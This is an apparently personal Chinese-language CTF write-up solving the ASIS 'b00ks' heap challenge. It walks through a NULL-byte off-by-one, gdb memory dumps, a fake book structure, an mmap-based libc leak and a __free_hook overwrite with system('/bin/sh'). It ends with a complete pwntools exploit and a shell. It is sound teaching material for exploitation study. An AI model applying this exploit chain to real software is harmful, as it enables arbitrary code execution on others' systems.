没错没错,从CTF-wiki过来的,我没看懂,又去其他大佬的博客==>九层台取取经,终于会调了orz...掌握gdb调试很重要啊啊啊!改最终脚本改了好久了,唉😑ps过于繁琐高手可以绕过嚯嚯嚯
🎈0x01寻找漏洞
checksec
kk@ubuntu:~/Desktop/black/wiki/off_by_one/b00ks$ checksec ./b00ks
[*] '/home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开启PIE()
程序实现的是一个图书管理,有以下的基本功能
Welcome to ASISCTF book library
Enter author name: kk
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
>
ida
在输入作者名字时调用sub_9F5
(我改名为My_read
)
读入32个字符,第33位被函数置为\x00 ==>NULL byte Off-By-One
漏洞找到~~~
🎈0x02分析构造
下面具体理解一下这些功能
create主要
malloc name
printf("Enter book name (Max 32 chars): ", &v1);
ptr = malloc(v1);
malloc description
printf("\nEnter book description size: ", *(_QWORD *)&v1);
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 )
{
v5 = malloc(v1);
···
}
malloc下面的结构体
v3 = malloc(0x20uLL);
if ( v3 )
{
*((_DWORD *)v3 + 6) = v1; //description size
*((_QWORD *)off_202010 + v2) = v3;//book
*((_QWORD *)v3 + 2) = v5; // description
*((_QWORD *)v3 + 1) = ptr; // name
*(_DWORD *)v3 = ++unk_202024; //每本书的ID
return 0LL;
}
下面我们调试理解一下,利用gdb-peda中的find
kk@ubuntu:~/Desktop/black/wiki/off_by_one/b00ks$ gdb ./b00ks
gdb-peda$ run
Starting program: /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
Welcome to ASISCTF book library
Enter author name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabc
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 1
Enter book name size: 10
Enter book name (Max 32 chars): aaaaa
Enter book description size: 10
Enter book description: bbbbb
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
>
Ctrl+C后
gdb-peda$ find abc
Searching for 'abc' in: None ranges
Found 9 results, display max 9 items:
b00ks : 0x55555575605d --> 0x636261 ('abc')
根据0x55555575605d找对齐地址查看
gdb-peda$ x/10g 0x555555756040
0x555555756040: 0x6161616161616161 0x6161616161616161
0x555555756050: 0x6161616161616161 0x6362616161616161 ==>author name
0x555555756060: 0x0000555555757460 ==>book1地址指针 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10g 0x0000555555757460
0x555555757460: 0x0000000000000001 ==>ID 0x0000555555757420 ==>book name
0x555555757470: 0x0000555555757440 ==>description 0x000000000000000a ==>description size
0x555555757480: 0x0000000000000000 0x0000000000020b81 ==>top chunk
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/g 0x0000555555757420
0x555555757420: 0x0000006161616161
gdb-peda$ x/g 0x0000555555757440
0x555555757440: 0x0000006262626262
根据这个方法,又创建了一个book2,再看看他们的布置
从上分析得,我们写入的author name的最后的NULL字节会被book1指针覆盖,那么我们打印author name的时候,就可以得到book1的地址
接下来,由于程序提供了Change函数,我们修改author name为“a” * 30 + "d" * 2(能区别就成)
gdb-peda$ x/10gx 0x555555756040
0x555555756040: 0x6161616161616161 0x6161616161616161
0x555555756050: 0x6161616161616161 0x6464616161616161
0x555555756060: 0x0000555555757400 0x00005555557574d0
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
可以看到同样由于33位变为\x00的原因,我们的book1地址最后一个字节被修改为00
所以我们需要:
1.设置author name长度为32,33位的\x00被book1地址覆写后,输出author name即可泄露book1地址。
2.通过修改author name,使后两位变为00,布置使我们的book1的指针(变00时)指向的是book1的description。
3.通过修改book1的description,使description内容为fake_book1。
4.fake_book1中的book name和description指针,指向book2的description。(offset = 0x20 + 0x10 + 0x8 = 0x38)
5.输出book1,那么book1的description就是fake_book1,就可以打印出book2的description的地址,实现泄露,得到libc_base。
6.将book2的description设置为__free_hook
函数,将book2的name设置为system("/bin/sh")
函数,再free book2,调用__free_hook
,执行system("/bin/sh")
。【这里也可以使用execve
,这个可以在onegadget
中找到】
疑问解答
🌼为什么description size被放到了v3+3的位置?
答:因为*((_DWORD *)v3 + 6) = v1; 该语句将v3作为双字节处理,双字节的+6 相当于 单字节的+3。
涉及到一个内存对齐的概念,因为这是一个64位的程序,机器字长为8个字节,id是int型数据,存入堆中只存了4字节。而接下来存的name是一个指针类型数据,在64位系统中是8字节,不能把name指针拆成两半,如果拆开的话还要再次组合对于底层硬件来说是一个复杂的事。所以为了进一步提高速度,将那么指针放入了后面新的8字节。这样一来就空出了4字节。
🌼为什么book2的size要设置的很大?
答:通过前面我们已经获得了任意地址读写的能力,读者读到这里可能会觉得下面的操作是显而易见的,比如写 got 表劫持流程或者写__malloc_hook
劫持流程等。但是这个题目特殊之处在于开启 PIE 并且没有泄漏 libc 基地址的方法,因此我们还需要想一下其他的办法。
所以我们在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是brk
会直接拓展原来的堆,另一种是mmap
会单独映射一块内存。
在这里我们申请一个超大的块,来使用mmap
扩展内存。因为mmap
分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。
🌼为什么设置__free_hook
函数?
答:这里我们需要简单介绍一下__free_hook
函数
当调用free函数的时候当__free_hook内容不为NULL时,会优先执行其内容,所以我们将该函数参数设置为system,就可以实现getshell
🎈0x03攻击
写脚本,边写边用gdb.attach()调试(差不多就是重复上面的步骤,看看空间布局,不想看可以直接看文末完整脚本理解了)
函数的基本操作
def createbook(name_size, name, des_size, des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)
def deletebook(id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(id))
def editbook(id, new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.sendline(str(id))
io.readuntil(": ")
io.sendline(new_des)
def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author
def changeauthor(authorname):
io.readuntil("> ")
io.sendline("5")
io.readuntil("Enter author name: ")
io.sendline(authorname)
开始尝试
io.recvuntil("author name:")
io.sendline("A" * 30 + "KK")
createbook(150, "kkbook1", 0x100, "haha") #我们的book1不能太小,不然伪造的book1就不能落在正确的地方,无法泄露。[这里我调试了很多次,注意看堆布置,多试试
gdb.attach(io)
此时在gdb窗口中查看我们的内存是这样子的👇
gdb-peda$ x/10gx 0x5566bb2af040
0x5566bb2af040: 0x4141414141414141 0x4141414141414141
0x5566bb2af050: 0x4141414141414141 0x4b4b414141414141
0x5566bb2af060: 0x00005566bc79e0f0 0x0000000000000000
0x5566bb2af070: 0x0000000000000000 0x0000000000000000
0x5566bb2af080: 0x0000000000000000 0x0000000000000000
接着选择print函数,就可以得到book1地址
book1_id,book1_name,book1_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
print "book1_addr ==> 0x%x"%book1_addr
编辑book1的description
payload = "a" * 0x40 + p64(0x01) + p64(book1_addr + 0x38)*2 + p64(0xffff)
editbook(1, payload) #fake_book1
接下来我们修改作者,使book1地址指向book1_des
changeauthor("a" * 30 + "OO")
创建book2,要把size设置的很大,使malloc用mmap()分配
createbook(1000000, "kkbook2", 1000000, "hello world")
gdb调试,看看我布置的堆栈是什么样子的
gdb-peda$ x/10gx 0x55a03fde01d0
0x55a03fde01d0: 0x0000000000000001 0x000055a03fde0020
0x55a03fde01e0: 0x000055a03fde00c0 0x0000000000000100
0x55a03fde01f0: 0x0000000000000000 0x0000000000000031
0x55a03fde0200: 0x0000000000000002 0x00007f2db34c8010
0x55a03fde0210: 0x00007f2db2ef5010 0x00000000000f4240
gdb-peda$ x/10gx 0x55a03fde0100 ==>fake_book1
0x55a03fde0100: 0x0000000000000001 0x000055a03fde0208
0x55a03fde0110: 0x000055a03fde0208 0x000000000000ffff
0x55a03fde0120: 0x0000000000000000 0x0000000000000000
0x55a03fde0130: 0x0000000000000000 0x0000000000000000
0x55a03fde0140: 0x0000000000000000 0x0000000000000000
再看看更直观的堆布置
gdb-peda$ x/20gx 0x55a03fde00b0
0x55a03fde00b0: 0x0000000000000000 0x0000000000000111
0x55a03fde00c0: 0x6161616161616161 0x6161616161616161 ==>"a" * 0x30
0x55a03fde00d0: 0x6161616161616161 0x6161616161616161
0x55a03fde00e0: 0x6161616161616161 0x6161616161616161
0x55a03fde00f0: 0x6161616161616161 0x6161616161616161
0x55a03fde0100: 0x0000000000000001 0x000055a03fde0208 ==>fake_book1
0x55a03fde0110: 0x000055a03fde0208 0x000000000000ffff
0x55a03fde0120: 0x0000000000000000 0x0000000000000000
0x55a03fde0130: 0x0000000000000000 0x0000000000000000
0x55a03fde0140: 0x0000000000000000 0x0000000000000000
打印出book1的description,里面就是指向了book2的信息,所以得到book2的指针地址
book_id, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8, "\x00"))
book2_des_addr = u64(book_des.ljust(8, "\x00"))
print "book2_name_addr ==> 0x%x"%book2_name_addr
print "book2_des_addr ==> 0x%x"%book2_des_addr
查看vmmap
gdb-peda$ vmmap
Start End Perm Name
0x000055a03e99e000 0x000055a03e9a0000 r-xp /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
0x000055a03eb9f000 0x000055a03eba0000 r--p /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
0x000055a03eba0000 0x000055a03eba1000 rw-p /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
0x000055a03fddf000 0x000055a03fe01000 rw-p [heap]
0x00007f2db2ef5000 0x00007f2db2fea000 rw-p mapped
0x00007f2db2fea000 0x00007f2db31aa000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2db31aa000 0x00007f2db33aa000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
计算offset = book2_name_addr - 0x00007f2db2fea000 = 0x4de010
libc_base = book2_name_addr - 0x4de010
print "libc_base ==> 0x%x"%libc_base
在本地进行测试,所以libc用ldd
查看路径,比赛不给libc文件时再想办法进行泄露,脚本改一下就行了
将__free_hook
和system("/bin/sh")
写入相应位置,free后调用。
free_hook_addr = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + libc.search("/bin/sh").next()
editbook(1, p64(binsh_addr) + p64(free_hook_addr))
editbook(2, p64(system_addr))
deletebook(2)
📂完整EXP
#!usr/bin/env python
#coding=utf-8
from pwn import *
# context.log_level="debug"
io = process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def createbook(name_size, name, des_size, des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)
def deletebook(id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(id))
def editbook(id, new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.sendline(str(id))
io.readuntil(": ")
io.sendline(new_des)
def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author
def changeauthor(authorname):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(authorname)
io.recvuntil("author name:")
io.sendline("A" * 30 + "KK")
createbook(150, "kkbook1", 0x100, "haha")
book1_id,book1_name,book1_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
print "book1_addr ==> 0x%x"%book1_addr
payload = "a" * 0x40 + p64(0x01) + p64(book1_addr + 0x38)*2 + p64(0xffff)
editbook(1, payload) #fake_book1
createbook(1000000, "kkbook2", 1000000, "hello world")
changeauthor("a" * 30 + "OO")
book_id, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8, "\x00"))
book2_des_addr = u64(book_des.ljust(8, "\x00"))
print "book2_name_addr ==> 0x%x"%book2_name_addr
print "book2_des_addr ==> 0x%x"%book2_des_addr
libc_base = book2_name_addr - 0x4de010
print "libc_base ==> 0x%x"%libc_base
free_hook_addr = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + libc.search("/bin/sh").next()
editbook(1, p64(binsh_addr) + p64(free_hook_addr))
editbook(2, p64(system_addr))
deletebook(2)
io.interactive()
终于成功了orz
kk@ubuntu:~/Desktop/black/wiki/off_by_one/b00ks$ python exp.py
[+] Starting local process './b00ks': pid 78110
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
book1_addr ==> 0x55b3b00ff1d0
book2_name_addr ==> 0x7fc82a684010
book2_des_addr ==> 0x7fc82a684010
libc_base ==> 0x7fc82a1a6000
[*] Switching to interactive mode
$ ls
b00ks core exp.py peda-session-b00ks.txt
$
网友评论